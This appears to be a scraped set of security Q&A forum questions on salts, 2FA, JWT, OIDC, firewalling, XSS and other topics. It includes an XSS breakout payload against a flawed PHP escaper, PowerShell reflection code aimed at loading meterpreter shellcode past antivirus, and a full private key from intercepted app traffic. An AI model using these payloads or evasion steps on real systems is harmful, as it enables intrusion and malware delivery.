Is it okay to create random salt every time PBKDF2 is used? Because when I'm looking for example use of PBKDF2, the salt is created for one password and keep alongside the password in the database. The salt will never be changed except if the user changes their password. But, if I think about it, the salt is used for creating the key and iv for AES-256, not for hashing password. So, I guess it's okay to create random salt every time PBKDF2 is used?
Appending salt to the encrypted password makes me anxious because I feel like the salt isn't useful when shown plainly. Is this okay?
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When I log into my Google account from my laptop with 2FA enabled, I usually get a prompt on my smartphone in order to confirm the log in. I tap OK and then I am logged in.
However sometimes I am not immediately logged in after that. My laptop then shows a screen like this:
Then on my smartphone I get something like this:
(It is not always laptop+smartphone. Actually in this particular case I was logging in to Google in a webbrowser from my smartphone, so everything happened on a single device).
I wonder what Google is trying to achieve with choosing a number. What type of attack would be averted by this?
I tried to Google something about that, but I found nearly nothing at all. (One not-helpful twitter post is what I found)
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I would like to use the method described in https://connect2id.com/products/nimbus-jose-jwt/examples/jwk-generation to generate a key pair in a java application:
import java.util.*;
import com.nimbusds.jose.jwk.*;
import com.nimbusds.jose.jwk.gen.*;
// Generate 2048-bit RSA key pair in JWK format, attach some metadata
RSAKey jwk = new RSAKeyGenerator(2048)
.keyUse(KeyUse.SIGNATURE) // indicate the intended use of the key
.keyID(UUID.randomUUID().toString()) // give the key a unique ID
.generate();
// Output the private and public RSA JWK parameters
System.out.println(jwk);
// Output the public RSA JWK parameters only
System.out.println(jwk.toPublicJWK());
This code will be executed when the application starts.
The application will start in AWS (using kubernetes).
Is it possible that the generation will fail because there won't be enough entropy?
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I have a server with a number of Linux bridge devices for use with groups of virtual machines - some internet-routed, some intentionally unrouted. I have stateful firewalling in place for traffic traversing across and between those bridges. Excerpt:
ip6tables -A FORWARD -m conntrack --ctstate ESTABLISHED -j ACCEPT
ip6tables -A FORWARD -m conntrack ! --ctstate NEW -j DROP
ip6tables -A FORWARD -i br21 -o br21 -m physdev --physdev-out vm21a -m tcp --dport 22 -j ACCEPT
ip6tables -A FORWARD -j DROP
Practically, this works. All connections that should work do work, non-spoofed connections are allowed or dropped in accordance with my port-based firewall rules. See this Q&A in Unix&Linux SE that for practical requisites & implications of using iptables on bridges in the first place.
On the security side of things, I may have overlooked important side-effects.
Untrusted users can execute privileged code on virtual machines attached to some of my bridges.
Goal: Untrusted users should not be able to learn about or interfere with connections on different bridges.
I suspect they can, because my fragment reassembly & conntrack table.. looks like one big table, no zones, no segmentation. Is this a real risk in my setup? If so, can I meaningfully mitigate it, by any means short of distributing the VMs to different hosts?
I am looking for answers that clearly spell out which subsystem(s) above which kernel version allow the suggested assertion or solution (but potentially referring back to U&L/SF for technical details). Clearly things have changed a lot over the years; One quote that predates among other work, the ability to create net namespaces:
conntrack is inherently a security hole when used as part of bridging,
because it ignores the Ethernet header so two unrelated connections
can be tracked as one.
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We are building a Chrome Extension that will be force-installed on each employee's browser for the companies we work with.
We currently use OAuth but many employees are forgetting to sign up.
We are thinking of replacing OAuth with something that doesn't require employee interaction. One way was setting up per-company API keys. So we'd create a private Chrome Extension for each company with a hard-coded API key in some config, and then use that for each company.
This feels pretty clunky, feels slightly off security wise, and would require a lot of work for us, so I'm curious if there is a better way to do something like this?
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I'm working on an application which uses ECDSA certificates. After the cert generation, they should be verified but currently the following error is received:
C = CA, ST = BC, L = City, O = Corp, OU = Software, emailAddress = administrators@corp.com, CN = va.corp.com
error 18 at 0 depth lookup: self signed certificate
That is when the following command is invoked: openssl verify -CAfile ca-chain en-cert.pem
The certs are generated using the CSR like openssl ca -in CSR
How can the certificate be verified properly against the ca-cert/ca-chain?
openssl verify -CAfile en-cert.pem en-cert.pem returns OK
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I know how MITM attacks work (theory/videos on the subject etc), but I am a bit confused and not sure what are the worst-case scenarios that can happen.
If I'm using a public VPN and someone is indeed able to force my device to make a connection through theirs, they will be able to see where my connection goes and can use their own DNS to transform the request for their own fishy website. And as far as I got it, there's absolutely nothing I can do about it, am I correct?
Even if there's no MITM attack and my connection is wired, there is an ISP that can do the same, no matter what I do. Is there really nothing I can do about it?
Also, if I am using VPN, the ISP or MITM still will catch that request as everything else and can respond with whatever they want and I won't know a thing.
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There are a lot of different URL shorteners out there, like Bitly or TinyURL. Besides their main purpose of shortening a link, they also:
obfuscate the actual URL
collect statistics about the usage of the short link
From the obfuscation, at least two risks arise:
The actual URL might have been obfuscated to hide its suspicious domain. While people might click on a link of a well-known link shortening provider, they probably would not access a URL that looks like paypal.secure-sfksjdfs.com, AMAZ0N.COM or ajhssafskjh.ru.
The actual URL might have been obfuscated to hide the query string that might contain identifying data. This could be personal data like in this URL:
https://completelyimaginary.url/index.html?mail=yourname@gmail.com
Or an ID that might be relatable to you (e. g. in case it was only sent to you):
https://completelyimaginary.url/index.html?id=T3X3MAPNEIYAKAZPHNC4
Or it may contain information that has been obfuscated even more (Base64):
https://completelyimaginary.url/index.html?url=aHR0cHM6Ly9iaXQubHkvM2t3UVYyMA--
To avoid these risks, can I safely preview a short link to be able to inspect the actual URL before opening it? In other words, can I get the target URL without actually accessing it?
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I have set up MitmProxy with a Python script to intercept network responses from one domain, used by a Desktop App. However, when I start up the App, I get the following series of transactions
{
"code": 200,
"message": "Success",
"data": {
"key1": "<redacted>",
"key2": "<redacted>",
"key3": "<redacted>",
"key4": "<redacted>",
"key5": "<redacted>",
"key6": true,
"key7": "<redacted>",
"key8": false,
"defaultDesktopClient": "ngx",
"rsaKey": "-----BEGIN PRIVATE KEY-----\nMIIEwAIBADANBgkqhkiG9w0BAQEFAASCBKowggSmAgEAAoIBAQCgYbO2jeRzeQKE\n3+7zOQD3//oetD5KdXhaDqhg1tjBbgoRlRBaPMHjXn6KBAKNaQWw6Z3jcJKSVyNw\nOuJYYZv4Tl7+vfmV7Q8gycSLZF874KLgNOPxSBXBxVQ0npqcrlmxoRcj0Lq1ofUe\nc4t7zvmyFVtzpFAZxPprFDTAo8EzdKTkP8ECOPqG/EULexBwhu+WdgqfDoJbfsoP\nE1dGRDVLqFicEIDYsF5Jl3jT9x5gAD5DvLBcl4MPXlXvTDkNhtp/JeiAkZp6eCcJ\nAkK1+sP+LreJhqXT87MEr3ttjK3Ge+UbknSoagIhgKZGMAnt7kvnjp5XP8yuaraE\n021EWgW9AgMBAAECggEBAInNKNKz/BRTZxywI+mLkw+DO29iQxtK74vBiF8cesVI\nPRJ6V8CQ767ipCsF4wOJt0AYmnavZOCkSmjFz3FM/OxOukR7CpYNR7BObLewGDuk\neY3XI/tOipMhb4Z+uC3jiGGdHfrB/4rMi4YMlU5duiGPRDKKfeCGZPvYMrNKgFgq\nhfqlR0Vj5eXfnDdb0/mIihT02kUQSYAHWC0dedr0XBFsf828iLFvvhINa5Vk2q83\nnT7yJrDCqEZ4ibzMC3jamA/kVx+Mf7o9AbmNrZnsSa9vFTO42OuW1Gs251bab/p0\n0vq96ebO1d4pdE+pq+4OKZUfWNFMu7Toshg8KCmFegECgYEA2NMgpZz5VJtzbuLv\nGBlu51hT3pgpS/b4Q6MYokd9R4B0BN/rA4+/Y7qjez2iVB7vVcJ47HSCCROUrY69\nIx1KrA6ect74QpZjbvBRGQaNjBh/oFFZpEqYAYtZBKT72yqV4Ot5SQaV2zKZIesd\nkFeT/eUzeReorNggxn4yee2YPkECgYEAvVvkiIoDcyOsiuCBqYUgghgKaFswip2D\nemiSOsDddu/x2JgFMywBxl5GJvtWi2gEXhY/mj/ksxID50qXpk4wFY0WQMI72SNH\nnDKzCiwhj619GNyM20FKvqhuVqR6fywC5+csFsxCmuBlUatAB8SyabVR6GOimDSc\n4lZgyrlboH0CgYEAk07VNk8wgc/fG+3nvLrCw0AaMvezzt1qjCFJgi8JqUNXD1zF\nwTSvNeU+XmNgXsBpoB0wpIz/L4VzFHsOesXSzpRcB/T+O9cKlPuGTXdLQWv/gX7j\nZSAcp6fxgZtJVPxYuWehjgCAXVzB9u5StpcZf3xxfQqa2Vs44UIprvbB4UECgYEA\nriwtDC4uOCTzGxagDUZHfYIRaKWgA5AYlGpFPseRrUnNIVXLSqNKyqSCUG7UzwuR\nIN3ECOSGPvPuJTumO7ElZ11Lv6spE3Pw9UppBo1LHXYNX+XVpgLrdm1EeGt3xSu9\nTIOFOT8OcJjAeRtUnRCerr66JVAoCWozd7jN9QoDrp0CgYEAqGZp5uaX5lEhGtHi\nTEZBirY0XxI7EGyaI9urdwY2MKz8blfoULCWHYa3oygoSaaVEzG+GngL+gOCUMMr\nKvIrZ8N06jBgcdlR/leky/M4C97UNtkbF0yJ9TOXUIEWgC4H5LK4dfhchLX/vhAh\nyD49OggM1dOaT+XuTiN4D+4ypP4=\n-----END PRIVATE KEY-----",
"aesKey": "NNl0wdhaQyuKtd/je17rCQbM3VWW2FEW9dHc5h6NVLR66V+ZpyXLYxbs2ZEVXrb7Xb79AifM+BZUG9LykNwRVlpMjBdWMyR6C7TZ5NM/nBxhtgWVlRFHVwnouj9/c3+iLIk6GUJQYzh3bXAlO7PNXWguuxZWc8VxnhZKaYWLhz3zByWCJ8LpckXCBupO7OUtR8kchBm689gUPrCzWb7xK4C5nzbxhotecXrL1WzFdZEZ39hNEWlRl9QIdnPpT8PuxiwDMXcVTCLmW8KxowNZMsGCVIBdLj72kurFKy+E47v8Nroy5rSEanMXYBxcxAPGc0+jGEmwKgu/D80vqYGBmA=="
}
}
Now, subsequent responses are of the following form
{
"code": 200,
"message": "Success",
"data": "d0Wa5UOi/n2EFmRZHGTgXtPVY9u9okgxsRL3hXduKu5CsJyCN7YaG6Fz4lPIEAwOAwntA2p64N79IxdU3U243FY+89OszrWi2XL0xnJqfUt2Pm/3q1udIK/b8CLMmrhoz+ERjMJqg+k56np8TsJuLi2uwhvdHqHcf3IClQ7lhxrf3J4Mi4MedgKknFYbDCaMLXrLAHjZbOxNP+kiFn+g4tnor4g/CYQFHPNbUk0PqqfRHRuPYBZcs/lZ+5flIi1NLWRPFuyxh/MI9l/CIN1W4wHAIQ7w2g09l//9KtS+bIYWBF/6e2a6Jse8mRcwEa4O8lttDZFs89k0WgF7saEsgNyvtwAzJIA31OuWfG9H8ghx4xFSzdgNR+tf/COhPozMAq3UPjhJCS0GyRTA6xOku5j0U3m1OhbDZ7ucf8HiIntt2EkUefsWUcCi5lf+PoNx/YhmFrvSSWhX+DdLREw9d+WsYvKfELR/SBAnaFH/F9gPcRMz+iHELw8mgU0M6Ki4Z2IARFeEwFeUfA95f+rosGTq/yH+MADiVei+lupcyP3Ro5kG2ZaVF/TRVUKDlWBYMhHXcYeNv0zZ2cJv4cShyog/6hBCuZRoCnXyCu9PfmE+onsRYXFkCfqkR8bEQMt+bTPCCcDe42ti2wi7bvvUi15uQI+bsPBL298tdhEeRquln8OPvm1tgeqMOqnQ6IavhOurfCAmLQLkKzsSlcOvMyIh/5dYRXGn/Q0JefwqDLHUqAZPDUIrsYReSbjBt1fn9lsE0Y//gM2IN1k8h1O28qx3R9f6+3sfU4kpi0OrSscdGc8N64UDxGGalm1bG3yeH3S9C/pboG9agmn9HD0RSmDxQQ7MTjtW9tP7mxueuxXlpEao+Lr8pgdJsokFRgwzBoU+R6osq5paE/o6zvk5ManTj9la94KDd7b+O3aB94g16VINMOddia57Reiz1qftkQ52i8t3ooHvQVoSnpKDQ20K9QrCbgG00aZf/DOej0JXC9KO/YZxUA65Mr65EY/kYVtJbNuJU5q0H8U0pj52tamxHZMQXZ3ZFDpMEyhBTMTqQJ4zeVRuDdqdz0qHhjuE+Qq8sRoDAPfUVBmvopCeEWhJRL9h47VIz2YvAlkutFrI9+Nc0RDJVZnsQLozu2izdT1yrevFicvyk7jz+8YAOxupbtsMWX1sN8YeeU0VdE3n4K1Z8ufsN7a1CIrI99FS7lXjlVbFdjiWjw1e1+fY3fHJj4wcFJenA45TKirEvtQidgZyGgrwhNdHHcNbI9hR0lGyge9NbUkyO1kkovHqf3X/nUe57zK3uAirhqAUn1B2ahbm0v6bo3dhC3SsQz7rr4/Kbmx1Fb67y2cJMo3SgTR/PM5CqwFqHWhI8LneD0+6AWTPxvGDKtQZeNcRWREvNmKGqgiTezvTPUXpLx5zc1ldy0lyIa4pkbG+SqxoCNsQLU5qOzCIpz3PZXFiZmt28jKAG6B3o3IL3uojkXLnyx+MbU1Z0xiwCrnEoPZhsSNiSfHHKDXl+nbqu9+41kPGjfJFgKGtZ3g6zzsRMT0OQGQZVsUQMC/bD6GM6CihrOpwKew7HgXxFzE4AdqvBrQ1UylO6ky6Y63gkWf8CxaVzEwDSlsBFh0u0nIJCU2JpTTv531KsjX0EsQoBwNIKjWJaXTzLl4nE29VCr1nNSoFk1Ksg1rNcwqaab5eX9O8SuNtKt/o/2qmPk7iP954SL6sb1WJ0FItvUTM/DdMULV4Qyfq5PMETuPN3U9z1dsTsOlrMWr4HoYKhz3mIjowo5Rib8p4MhRfxPPt3hLmx6EqcU/q31xSIQuaM/YjGCSPmhC/+YYs0ryHx9qeZBqCSLQwvMpSMg+z8kj4OwL4GP29R8wvpBt7vwc4lRppAYpm5qK0jMxuSrgkrEZ/IRp1BA60onV1nMhUAJp7l47yOxYFd5gYBu+M1HrWG709umMQiIPjBCjiPU2ui4rH+anc8rrHhjyHFF9xlbvcwoVR12JID7TdCjK1vPQ9GS1cJ8C4xWGEYC334SQB+tNYBiVJU/h+8ALsyRemSboO4MB0mv+VT4xVIvkXhRfnSy0MYzyBVUSBxfbyKeSROLdx1gd4LUCP3CjCswhBEnV1w1ALq7Ndk5wur+u1rT66Gvkus4YQp6PtmMjRWnG/Z4hbl8JGVLKTBNEs4fQUggqC47jY0skfjEKxLGD1VWJplHXqQLLZ9Gq4ZG9+9UTes34K6SybmDhy10QpFvLd8tVcsO8IyxKMIcFHagcxg7irZU5L2zCgiIuIx1tgUkNMZWO4fgGcRX+Row1MlhkACst/+eh8QXVNhzE6u7bMetCKcZ2/wR7c+qHFkiOFi8S0lrS757oAZv3k1JGLJ1n9gVJ8M/h0F6RDsbMkCQcvtjF5KBniOWi/eHuLP7gxMisDoauvKZ/jWBsI+E8bFAuQ6tLwVRfJw/9DdSv9vCKe/CrJE224RiptKTYPF/bl3hgdZ+DCvfTL8JEgO/6Kj2ihZTK/TiQGYuMIIGxPHdYmlnTmL/nolkEOUSdxLl8Jh3YiwuVm4FIEvs/3Zv1iLOkUA1n2tb3GKsQjzQFOZ0oXj7Nz6AMpx+Z14L00ENbWtv/5ia4N1hcq/go5YsoKCtmbR5rOzacs6n34QaZ0cCvB/2/3S/Cn0QGXD56Xp2IG9692WyZIIgEQY9aX+SiPU2vWQSpKHTLosS+5rr0ytEVfUdxDweCcs1OrL8XykxuSf8s7JGmO/ktR26y8myAtx7YG2TSL7YizWT5cx9Onl0DWSx5vAElLS7pk44gcFVDwobi6w6Dzv8F0deVNw2cExLwRoCsChINKdwzfhCosFr7o0hHIT1UcJa34kANrM40oFv73KfIDvi1g7r9ygLlBn+mBnkMMR5HgQPwobYsMsP4p44r0tQieGyTwNtj+5sC4/gANQJO0Lv5pIk85PWcEyrVl9KjV0dqeLLA1hs5YMKe2CNDfz+SgNnAXFZDm22tY1//nUg6OOU5/kcMSjgyR6FBVxkzLk3NEOQ55h72faYRepZMSYWxnZY3aBRXMSO+OumAmIBOmMVlmMLOxh4o/JQFVyaltLjZjeEX+YZEjWt98ZkvItddHb71qi+5cepKelhf6mtMqDpBBs4JFvQVqPilwzzFr6M9Mx2P304HIsI8nId9MUdP0uI07g85k4hAyzOApVTNmxS6FnM5oio0QbNy/enK9iJ6Nu1239WLvg0VWMGNmpoMz01YNU7HnITcqOD7niivmGTutV8CEbUfn9ByltS0OfgH7Xz4WNcGByjalleGzt64/okCJCoJVjye+hjgBNMLLzZq5y1DoNTk0VQTcl+UP5L8imGOD+JC4zKz3QWs2aVbX2JBGYmBnO1tRhuykCSSu5MEAIOOsOOG95F0t/oKg8zlwiuq5rQdAil/9/lN6ex/2cAU7M4wHqBKdEfAdGzQFyXX9oCpMNyUgIFUEd9HgdMpr74dlgTV/znfEbXSjy/6ChC2+uMJvnZ4uM6Y1KziL1FYFiAuHO0lQt6So7BB3zw77fFgmshnSmlWmJod9aLC+D6QLGIeNe4aW2SxPN4UAGbnDlKucLRmSHD2pCP0JTA6pVKMw/vMQutALeptzNCzlkEr+pYJLCwrAjPLwhQsEO+cqaCNI5G5TMNNfWj9t9SYAcXvqF3C/Dd7xRZb5ZLDJWEDjgDyZY4UK6K0bz1AVVsl8ImR2OMkCuwngVf5mbYqUxXLKrVYa0+sZVmJOXKe9Acq9LxvZY/oHLqEnCLyvF0atw7XKSu8do3pYUeUL6MpgacukxBdCMyOQwt05/4AoFEfpzWfD7kgArUXTLopGpetqelv+0ZIdxtIzUXhjvDfGluA1czcS6mFd2hlI+goUCETxtffb7DpKxbpY9CpjZJKHsb9hUTqJbIuesEokQklbdWThkLkJHHOAfy3sQuVeMX4Phw91de/UYio9+sIQmNzNT22lj453Hf7+jY7CQ1aPzHb20INk4cpy8jHajzzbw470go2SX3NbV91+fgxxXGMsSVLkBL7D/OTWT+s6soYg7+cw5WEwR42l+Z9RzdlB6zQ5wvF+h9QJFtt9fClQeEvrBfSS7bGfN9ek0DJzDzrGVcDuBh/9zvPcPXYrmGemlmPBhECol5F9iP0qmJMo2AMq8V17JpeuqcrmHWt+ws0zrfABxgBFOrLlcG9h1KwCqVmdy/Y7e6vjbQRGUd72ItHTnFFDGjV9NVbQfR3OWprPsP6QpDIdVvsq7arZxrr/Y1P8230zKGrJTa4XPvlFqOUXlircZRrAnFFv4m3M0+HLkQQ/GdrcliZPmh2BpGxhTHFRURUYmPFm8QNqmThM8p2+lCjb9Ysryob1rGosAsEBjr5DHtgeXzz7qvg1RpHcdfDdND2LviTPaz5AWlIAFdNLOgZI6IvkZPlcFdPpoBAHhPO7AzdXyvMl3LlHyfk9fvYpyPb9WtEAwPIfXV9qDaRKzUA36ZbjVaWIF4NBcqSo0VQiVB4gyDAmCdqDLXjcIsLFIFWokYCNWQSMRzlLvxT5z57hbZ9Q3DrXRn7Riju3QA7KJKYQ+fQ4ZUXTyZs6YMUAObcmcY1sohqa2pozyqkuygJReu5chz/0XR1dKXEhS6UNvKSCdY5yl1R0RfXC0ASTj3VkqzCAOKZLZgWtzh2svvGc7TWBRtU8lKPuYEeLIu+WjWa+5lKq3rjwSTeenvPpPamXU6jKUJcUDkx0Ss6SDKC6A6U7mnTG4UvsRvTcXkKUaJNAuLVl9DaOBVUZUJflIvqnRlYK5THWFXDdOfkxyKVXF4+EwDF+wvsMUdlyu1ieAFGKc3rgYzXU9z71y/2e+DxWfF5S/kfKO3b5cMWjYM3h7lnhCQFCrOUoeDyDIwNynzBVehx1X6tli0B+/3VfRdqnPGOcw1Jg8lQf0VPI8dD3bnii2sL2opIf/3wX3KmsaV665IJ6f0DmVshfund16RFETKRtDP2T16o4lqejNkMuuaPI166yJYH5j6nStrNbbBD3xqOGQPspV195lP5opDWCQN1YHSHAaG9x4oPRFieQB6LYgnuzFMbU74/m7zg7rI9mz5utQxQxduQRcuVDfw3evSPnXFnB63jm5MDZRIhAFieFP1uCuJxFkrq+cyp5IE0EslFTYEQ8C5Bf8fGzpipLa7Mg8J0pTMo2Qcx4Rhb8+qABJsABYttfxlHtEYgMv5AzSk/8tGHScHR+R+qMz00fIwmX/BZwkmuRQEi2CifPkDxFS2gghMk7T9k1v1LwwDdmcRmlQiEQRbBx515HOqumLZBAlCW/dj47rYdgd+rShIf6cZaH9f+ROdQjZFY/Ekl1QWRgqQNfXNXGWTRjsjg1lvEPzlgNujzT2gw+pw62W+7jUuzOKxbT3LXl9/nGmtaZe+T/7MGyDyNHOGDFK61JlSo5d1x99keHESUfXNI53nuWu1asIuuuTKzWW9I5zSdFolJqozTRzl9V0Cra4vcA97I9PuBHf4+pZkBTbR0Epy1BITldRBbg+rS5ft3u4MZ4onq2HHdhfxTa1wAZ7Ah8v6mP14rCe7fdnhWPr6AEUIvpo0AyDm4+0E1OYCv8F9P46Dz1HDtCzWI0fs07lqBXVZ6YjZeQAkiESqGjcY4zOtgPduYNEswJ62ZUa9uwuNEEwrzeiJ1PYiVD9lX0A/vd4g5wzWYHyF85yPq5RiLe7FvO+6xC8a1SlqwTPlQ7Lda6PgqkqZEwNYCIGRxfhL/DyBpkSmB/HCVqiTzHXmgOb7fJs74EO3FqNZFCdAEUUiD+3we6J0mumz9cqKTzeO2iqMgM+mTWj+Bb3htKAH/GZl45i2L4hs1QfI3gB70fXSJ3EF85LoKf1web9o9R9Pd0nyPnqwLkF77Bh4og5RtiLNfPHQUyMif7FE1psJqU64Zp5Orm8TkO5ZfLVEKEi56bnpe57dZvnTjmdUWfaghTyzk1lq2VycmhaN+gLmHxpA==At5ADFB6EWqL5I4hWoMJSQ==",
"encryptionEnabled": true
}
Now, I'm fairly certain that the value for data in second response is encrypted using AES, and that the AES key itself is encrypted using RSA key. I'm using the following snippet of code to decrypt the key, and then the data.
from Crypto.PublicKey import RSA
from Crypto.Cipher import AES, PKCS1_OAEP, PKCS1_v1_5
import random
import json
with open('key_data.json') as f:
js = json.load(f)
with open("data.json") as f:
data_js = json.load(f)
raw_aes_key = bytes(js.get("data").get("aesKey"), "utf8")
rsa_key = RSA.importKey(bytes(js.get("data").get("rsaKey"), "utf8"))
cipher_rsa = PKCS1_OAEP.new(rsa_key)
session_key = cipher_rsa.decrypt(raw_aes_key)
But I'm getting the following error
Traceback (most recent call last):
File ".\rsa_enc.py", line 21, in <module>
session_key = cipher_rsa.decrypt(raw_aes_key)
File "C:\Users\<username>\Desktop\Projects\mitm\venv\lib\site-packages\Crypto\Cipher\PKCS1_OAEP.py", line 167, in decrypt
raise ValueError("Ciphertext with incorrect length.")
ValueError: Ciphertext with incorrect length.
I'm guessing this is because of incorrectly decrypted response.
I have the following queries I need help with
I've read this section in documentation of PyCryptoDome, and according to this, the Private Key itself encloses the session AES key. But I don't think that's the case with my code, because mitmproxy already decrypts the https packets. Is my hypothesis correct?
What's the point of sending Private key as a response? Does it not go defeat the purpose of being Private?
I've tried decrypting the data with AES key itself, but it gives the following error
ValueError: Incorrect AES key length (344 bytes)
Is there a way to decrypt the aesKey with rsaKey in the response and verify if it has been decrypted correctly?
|
According to the "Single sign-on" page on Wikipedia:
A simple version of single sign-on can be achieved over IP networks using cookies but only if the sites share a common DNS parent domain.
This means that if the user has authenticated on login.foo.org, then
the web-server on login.foo.org issues an authentication cookie for
foo.org domain and the user is able to authenticate on sites like
billing.foo.org or wiki.foo.org using that cookie. However, could
the login.foo.org make a request to login.bar.org after a
successful authentication and thus the user would get two
authentication cookies: first-party cookie for foo.org domain and
third-party cookie for bar.org domain?
|
My network sniffer for websites has discovered a number of hosting domains in the report which I can not correctly assign to categories. I don't know if there are providers behind these domains that load tags or trackers or if malware/adware simply appeared in the network traffic from the website users.
What I have tried so far:
Detailed Google research on what these domains are (all without sufficient results).
Hybrid-analysis.com => The results here don't seem satisfactory either, as I don't think the reports are significant. Maybe someone knows a good alternative to this?
The domain names are all very weird and don't seem to be authentic. These are the domains Im talking about:
o104379.ingest.sentry.io
1637314617.rsc.cdn77.org
o207331.ingest.sentry.io
api.vkanalytics.net
piwik.dev.arvm.de
tq.96yingxiao.com
vorsare.trouplet.com
carsapp.club
meetcrs.club
trymysadoroh.site
frgtylik.com
3qkwyj7.x3hn2p.com
As I know what tags should be loaded on the website, these domains make no sense to me and I want to know what they stand for. I hope someone can advise a method to get sufficient information. I would suggest by all those non-sufficient results from google that they may actually be adware/ malware, but I want to be sure about this that they don't come from the website.
|
While making a website I made an interesting mistake, and I'm wondering if this could be used to achieve XSS. I've come very close, but not quite.
I can put my user input into a string inside of a <script> tag. It looks something like this:
<script>
// some code above
some_variable = "my user input"
// some code below
</script>
I intended to escape " and \ characters, by putting a backslash in front of them. I also completely remove any newlines.
But accidentally I put a normal slash instead of a backslash. So I only escaped the " and / characters.
This means I can escape the string with something like \" which will turn into \\" and break me out of the string.
Normally you would simply do \"-alert(1)// to escape the string, execute the alert and then comment out the rest of the code. But since in my unique example I escaped the / character, you can't comment out the rest with that.
To make it more clear here is an example:
// Common example
some_variable = "\\"-alert(1)//"
// My situation
some_variable = "\\"-alert(1)\/\/"
Lots of things I've tried already all result in some sort of syntax error, which doesn't execute the code. I'm wondering if there is some sort of trick I missed to still get XSS from this.
This question is similar to XSS inside JavaScript string literal without single quotes?, which isn't exploitable. But here I can actually get out of the string without using newlines, maybe that makes a difference.
Here is the exact PHP code that resulted in this problem:
function toSafeJavascript($unsafe) {
$safe = str_replace(array("\r\n", "\n", "\r"), '', $unsafe); // Remove newlines
$safe = preg_replace('/([\\/"])/', '\\\\$1', $safe);
return $safe;
}
|
I try to execute a meterpreter shellcode to a windows machine. In order to bypass the AV, I try to load the shellcode in the memory thanks to the DelegateType Reflection technique. Below, the first lines of the powershell commands:
$systemdll = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') })
$unsafeObj = $systemdll.GetType('Microsoft.Win32.UnsafeNativeMethods')
$GetModuleHandle = $unsafeObj.GetMethod('GetModuleHandle')
$GetProcAddress = $unsafeObj.GetMethod('GetProcAddress')
$kernel32 = $GetModuleHandle.Invoke($null, @("kernel32.dll"))
At this point, the commands work well without errors but when I try to invoke my function with GetProcAddress, the method returns nothing:
$kernel32 = $GetModuleHandle.Invoke($null, @("kernel32.dll"))
$GetProcAddress.Invoke($null, @($kernel32, "CreateThread"))
I tried with MessageBoxA from the user32.dll library too and I got the same result.
The path of the system32.dll:
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089
The version of Windows 10:
Major Minor Build Revision
----- ----- ----- --------
10 0 14393 0
The version of powershell:
Name Value
---- -----
PSVersion 5.1.14393.2273
PSEdition Desktop
PSCompatibleVersions {1.0, 2.0, 3.0, 4.0...}
BuildVersion 10.0.14393.2273
CLRVersion 4.0.30319.42000
WSManStackVersion 3.0
PSRemotingProtocolVersion 2.3
SerializationVersion 1.1.0.1
|
Here's our scenario. I have a NodeJS server running that connects to a Microsoft SQL Server using an application account (SQL Basic Auth). The Username and Password were stored in the configuration files when the app was created.
We now want to tighten down security. Originally, an idea was floated of using Environment Variables and having the secure values injected into Kubernetes instances. The problem is, that requires someone to know the password to add it to K8s. Also, the passwords need to be changable at a moments notice, but the server has to be 24/7/365 available.
Somehow, I need to be able change the passwords and simultaneously let clients be able to use the new passwords.
|
My company distributes software that runs on locally installed Ubuntu Virtual Machines. To update the software, we pull our latest code down from Github.
Some IT departments have github blocked on their firewall. One IT guy suggested to us that they would be more open to adding a permanent rule to their firewall if we were able to narrow down the rule to a single external IP rather than the "github.com" domain, which covers a range of public IP addresses.
When I try to find info on github's public IP addresses, I'm always directed to the following page:
https://docs.github.com/en/rest/reference/meta
When I follow the suggestions and access the github API to get a list of their public IP addresses, I get a long list of IP ranges in the "git" list. However, it's clear that not all of the addresses in these ranges work as a git remote URL.
Approaching this from a different angle, I pinged www.github.com and got 140.82.112.4. I see this is part of an IP range in the "git" list from the API call (140.82.112.0/20), and it works when I use it in a remote git URL in place of "github.com".
By accident and by messing around, I found that the following IPs worked as remotes. However, when I try adjacent IP addresses (eg. 140.82.112.2), those don't work even though they're in the same range returned by the github API call.
140.82.112.3
140.82.112.4
140.82.112.35
140.82.112.36
140.82.113.3
140.82.113.4
140.82.113.35
140.82.113.36
140.82.114.3
140.82.114.4
140.82.114.35
140.82.114.36
Questions
Is there a better list where I can find specific IP addresses that can be used for git remote URLs? Are these subject to frequent change and could they be any addresses in the ranges returned by the github API at any given point in time?
Is it reasonable for IT to ask us to limit our pulls to a single IP address? Is that really more secure than using the "github.com" domain?
One of the repositories we pull from uses LFS, which pulls from a different domain/IP range. Is there any way to accommodate this when using a single IP in the git remote URL? (this should maybe be a separate post)
|
I have seen multiple videos/tutorials regarding how to setup the email system in Django.
It seems that they all assume as long as the password is stored in an environmental variable, no encryption is required.
Is that so? Shouldn't passwords be encrypted? Is it because TLS provides some sort of security that makes it OK for passwords not to be encrypted?
Thank you!
|
When we are talking about JWT authentication, how big of a security risk would it be to eliminate the concept of a refresh token and just have a single JWT have an expiration time of, let's say 30 days.
The refresh token could still be accessed by a cookie / local storage (even though many people also thinks this is a security risk),
So theoretically, would it not be the same thing if an attacker could also just get a new token with the refresh token?
|
Looking at this question Openid connect nonce replay attack and the answer by @benbotto. I understand the replay attack in implicit flow but unable to understand it for auth code flow. Let's say an attacker intercepts the authentication response. The attacker could then paste the response (the 302 location) into their URL bar and get your client application to make a token request. Now this request made by the client application is a server-to-server request being made using the back channel (basically it doesn't involve the user agent/browser to exchange the authorization code).
@benbotto said:
"when the authorization server responds, your client application can verify the nonce in the ID token against something that your server has tied to your user's user agent (e.g. a cryptographically random value that's stored in an HTTP-only cookie)"
My question is in this case what value does the client hash, to be passed in as nonce parameter which then the Auth server would include as claims in id_token. Assuming the replay request comes in without a cookie as the attacker doesn't know the secret nonce set in the user's(victim) browser, shouldn't the request be outright rejected by the client app and not even trigger the token request?
Why is the client app tricked into requesting the token to exchange the auth code when there is no cookie(nonce) in the replayed request?
This brings me to the question are replay attacks on the client application even possible in auth code flow?
|
Facial recognition is ubiquitous and methods like disguises, surgical masks and makeup are becoming ineffective owing to the improvement in algorithms.
In light of these advances, what are some countermeasures to avoid being identified in a public setting (cafe, restaurant, street etc)?
The purpose is to be able keep one's real identity a secret from someone who has access to a large database in which they have previously enrolled. Examples of such databases include photos scraped online from social media profiles and driver's license databases.
|
During experimentation with the gobuster tool, and trying to find the subdomains matches of a domain (let's call that testdomain.com), I got some strange results and I explain.
The command used was $ gobuster dns -d testdomain.com -w mywordlist.txt -o subdomain_results.txt which gave me a list of subdomains (like example1.testdomain.com, example2.testdomain.com, etc).
